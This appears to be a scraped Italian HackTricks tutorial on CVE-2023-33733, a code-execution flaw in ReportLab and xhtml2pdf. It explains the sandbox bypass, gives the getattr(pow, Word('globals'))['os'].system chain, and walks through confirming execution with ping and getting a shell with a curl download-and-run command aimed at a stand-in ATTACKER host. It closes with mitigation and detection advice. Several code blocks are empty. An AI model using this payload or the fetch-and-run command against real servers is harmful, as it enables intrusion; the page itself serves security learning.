ReportLab/xhtml2pdf [[[...]]] RCE da valutazione di espressioni (CVE-2023-33733)
Reading time: 6 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Questa pagina documenta un pratico sandbox escape e un primitivo RCE in rl_safe_eval di ReportLab usato da xhtml2pdf e altre pipeline di generazione PDF quando viene renderizzato HTML controllato dall'utente in PDF.
CVE-2023-33733 interessa le versioni di ReportLab fino e inclusa la 3.6.12. In certi contesti di attributo (per esempio color), i valori racchiusi tra triple parentesi [[[ ... ]]] vengono valutati server-side da rl_safe_eval. Costruendo un payload che pivota da un builtin in whitelist (pow) ai suoi globals di funzione Python, un attaccante può raggiungere il modulo os ed eseguire comandi.
Punti chiave
- Trigger: inject [[[ ... ]]] in attributi valutati come all'interno del markup analizzato da ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval sostituisce molti builtins pericolosi ma le funzioni valutate espongono ancora globals.
- Bypass: creare una classe transiente Word per aggirare i controlli sui nomi di rl_safe_eval e accedere alla stringa "globals" evitando il filtraggio dei dunder bloccati.
- RCE: getattr(pow, Word("globals"))["os"].system("
") - Stabilità: Restituire un valore valido per l'attributo dopo l'esecuzione (per color, usare e 'red').
Quando testare
- Applicazioni che espongono esportazione HTML-to-PDF (profili, fatture, report) e mostrano xhtml2pdf/ReportLab nei metadata del PDF o nei commenti della risposta HTTP.
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
- La risposta HTTP per un PDF spesso inizia con un commento generato da ReportLab
Come funziona il bypass della sandbox
- rl_safe_eval rimuove o sostituisce molti builtins (getattr, type, pow, ...) e applica un filtro sui nomi per negare attributi che iniziano con __ o sono in una denylist.
- Tuttavia, le funzioni "sicure" vivono in un dizionario globals accessibile come func.globals.
- Usare type(type(1)) per recuperare la vera funzione builtin type (bypassando il wrapper di ReportLab), quindi definire una classe Word derivata da str con comportamento di confronto mutato in modo che:
- .startswith('') → sempre False (bypass del controllo name startswith(''))
- .eq ritorna False solo alla prima comparazione (bypass dei controlli di membership nella denylist) e True dopo (così getattr funziona)
- .hash pari a hash(str(self))
- Con questo, getattr(pow, Word('globals')) restituisce il dict globals della funzione pow wrappata, che include il modulo os importato. Poi: ['os'].system('
').
Pattern minimo di sfruttamento (esempio in attributo) Inserire il payload dentro un attributo valutato e assicurarsi che ritorni un valore di attributo valido tramite boolean e 'red'.
- La forma con list-comprehension permette un'unica espressione accettabile da rl_safe_eval.
- Il trailing and 'red' restituisce un colore CSS valido così il rendering non si rompe.
- Sostituire il comando secondo necessità; usare ping per validare l'esecuzione con tcpdump.
Workflow operativo
- Identificare il generatore PDF
- Il PDF Producer mostra xhtml2pdf; la risposta HTTP contiene il commento di ReportLab.
- Trovare un input riflesso nel PDF (es. bio/descrizione del profilo) e forzare un'esportazione.
- Verificare l'esecuzione con ICMP a basso rumore
- Run: sudo tcpdump -ni
icmp - Payload: ... system('ping <your_ip>') ...
- Windows spesso invia esattamente quattro echo request di default.
- Stabilire una shell
- Per Windows, un approccio affidabile a due fasi evita problemi di quoting/encoding:
- Stage 1 (download):
- Stage 2 (esecuzione):
- Per target Linux, è possibile un analogo two-stage con curl/wget:
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
Note e suggerimenti
- Contesti di attributo: color è un attributo noto valutato; altri attributi nel markup di ReportLab possono anch'essi valutare espressioni. Se una posizione è sanitizzata, provare altre aree renderizzate nel flusso PDF (campi diversi, stili di tabella, ecc.).
- Quoting: mantenere i comandi compatti. I download in due fasi riducono drasticamente problemi di quoting ed escaping.
- Affidabilità: se le esportazioni sono cacheate o messe in coda, variare leggermente il payload (es. path o query random) per evitare cache.
Mitigazioni e rilevamento
- Aggiornare ReportLab alla 3.6.13 o successiva (CVE-2023-33733 risolto). Tracciare anche gli advisories di sicurezza nei pacchetti delle distro.
- Non fornire HTML/markup controllato dall'utente direttamente a xhtml2pdf/ReportLab senza una sanitizzazione rigorosa. Rimuovere/negare le costruzioni di valutazione [[[...]]] e i tag vendor-specific quando l'input non è trusted.
- Considerare la disabilitazione o l'incapsulamento completo di rl_safe_eval per input non attendibili.
- Monitorare connessioni outbound sospette durante la generazione di PDF (es. ICMP/HTTP dai server applicativi durante l'esportazione di documenti).
References
- PoC and technical analysis: c53elyas/CVE-2023-33733
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): HTB: University
- NVD entry (affected versions): CVE-2023-33733
- xhtml2pdf docs (markup/page concepts): xhtml2pdf docs
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.